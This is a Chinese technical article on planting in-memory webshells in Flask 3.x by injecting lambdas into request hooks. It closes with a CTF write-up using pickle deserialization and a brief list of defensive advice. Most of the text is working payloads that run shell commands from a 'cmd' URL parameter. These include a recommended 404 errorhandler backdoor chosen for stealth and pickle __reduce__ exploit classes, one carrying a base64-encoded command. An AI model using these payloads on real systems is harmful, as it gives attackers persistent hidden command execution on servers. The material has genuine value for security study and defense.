新版Flask框架下用钩子函数实现内存马的方式
字数 1326 2025-08-03 16:48:19
Flask框架下利用钩子函数实现内存马的技术分析
旧版Flask内存马实现方式
传统实现方法
在旧版本Flask框架中,可以通过app.add_url_rule()函数注册后门路由:
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)
原理分析
- 通过
url_for()函数获取当前命名空间的__builtins__模块 - 使用
eval执行动态添加路由的代码 - 匿名函数通过
_request_ctx_stack获取当前请求上下文 - 从请求参数中获取命令并执行
新版限制
Flask 3.0+版本中,add_url_rule()被@setupmethod装饰器修饰,在应用启动后会检查并阻止动态添加路由的操作。
新版Flask内存马实现方式
利用before_request钩子
__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(
lambda :__import__('os').popen('whoami').read()
)
特点:
- 会在每个请求前执行
- 访问所有页面都会返回命令执行结果,隐蔽性较差
利用after_request钩子
app.after_request_funcs.setdefault(None, []).append(
lambda resp: CmdResp if request.args.get('cmd') and
exec('global r;r=app.make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())')==None
else resp
)
优化版本:
app.after_request_funcs.setdefault(None, []).append(
lambda x:__import__("os").popen(request.args.get("cmd"))
)
特点:
- 需要接收并返回response对象
- 可以正常返回页面内容,隐蔽性更好
- 通过请求参数动态执行命令
利用teardown_request钩子
app.teardown_request_funcs.setdefault(None, []).append(
lambda :__import__('os').popen("calc").read()
)
特点:
- 在请求结束后执行
- 无法获取当前请求上下文
- 只能执行静态命令
利用teardown_appcontext钩子
app.teardown_appcontext_funcs.append(
lambda x :__import__('os').popen("calc").read()
)
特点:
- 在应用上下文销毁时执行
- 同样无法获取请求上下文
利用errorhandler钩子(推荐)
exec("""
global exc_class;global code;
exc_class, code = app._get_exc_class_and_code(404);
app.error_handler_spec[None][code][exc_class] =
lambda a:__import__('os').popen(request.args.get('cmd')).read()
""")
特点:
- 可以获取请求上下文
- 通过访问不存在的路由触发
- 能够带回显执行结果
- 隐蔽性较好
Flask钩子函数对比
| 钩子类型 | 执行时机 | 能否获取请求上下文 | 能否动态执行命令 | 隐蔽性 |
|---|---|---|---|---|
| before_request | 请求前 | 能 | 能 | 较差 |
| after_request | 响应前 | 能 | 能 | 好 |
| teardown_request | 请求后 | 不能 | 不能 | 一般 |
| teardown_appcontext | 上下文销毁 | 不能 | 不能 | 一般 |
| errorhandler | 错误发生时 | 能 | 能 | 好 |
实战案例:2024黄河流域Python-Revenge
题目分析
- 存在Pickle反序列化漏洞
- 机器不出网,无法使用常规反弹shell
- 过滤了
before/after等关键词
解决方案
- 利用teardown_request写入文件
class Exp(object):
def __reduce__(self):
return (eval, (
"app.teardown_request_funcs.setdefault(None, []).append("
"lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))
- 利用errorhandler实现带外执行
class Exp(object):
def __reduce__(self):
return (eval, (
"global exc_class;global code;"
"exc_class, code = app._get_exc_class_and_code(404);"
"app.error_handler_spec[None][code][exc_class] = "
"lambda a:__import__('os').popen(request.args.get('cmd')).read()",))
防御建议
- 避免使用
eval、pickle等危险函数 - 对用户输入进行严格过滤
- 监控Flask应用的钩子函数注册情况
- 使用最新版Flask框架并保持更新
- 限制应用的权限和文件系统访问
总结
新版Flask内存马主要通过钩子函数机制实现,相比旧版的动态路由添加方式更为隐蔽。其中after_request和errorhandler是较为理想的实现方式,能够获取请求上下文并动态执行命令。在实际渗透测试中,需要根据目标环境的具体限制选择合适的实现方式。